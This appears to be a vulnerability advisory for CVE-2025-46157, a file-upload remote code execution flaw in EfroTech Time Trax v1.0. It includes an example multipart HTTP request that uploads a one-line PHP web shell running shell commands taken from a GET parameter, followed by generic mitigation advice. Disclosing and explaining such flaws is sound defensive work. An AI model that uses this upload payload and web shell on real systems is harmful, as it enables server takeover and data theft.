Overview
The cybersecurity landscape has been riddled recently with another high-severity vulnerability, CVE-2025-46157, affecting EfroTech’s Time Trax v.1.0 software. This vulnerability allows for remote code execution by an attacker, leading to potential system compromise or data leakage. As Time Trax is widely used for managing company time and attendance, this vulnerability could potentially affect a wide range of organizations, from small businesses to large corporations, putting sensitive data at risk.
Vulnerability Summary
CVE ID: CVE-2025-46157
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
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Product | Affected Versions
EfroTech Time Trax | v.1.0
How the Exploit Works
The vulnerability exists in the file attachment function of the leave request form in Time Trax. An attacker can exploit this vulnerability by sending a malicious script or file which, when processed by the application, executes arbitrary code. This could lead to an attacker gaining unauthorized control over the system or the leakage of sensitive information.
Conceptual Example Code
Here’s a hypothetical example of how an attacker might exploit this vulnerability using an HTTP POST request to upload a malicious file:
POST /fileUpload/leaveRequest HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
echo shell_exec($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP script that allows them to execute arbitrary shell commands on the server. The attacker could then run any command by simply sending a GET request to the uploaded file with their command as a parameter.
Mitigation and Prevention
Until EfroTech releases a patch to fix this vulnerability, organizations can mitigate the risk by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out malicious requests. Regularly auditing and updating security protocols, as well as educating employees on the importance of cybersecurity, can also help prevent such exploits.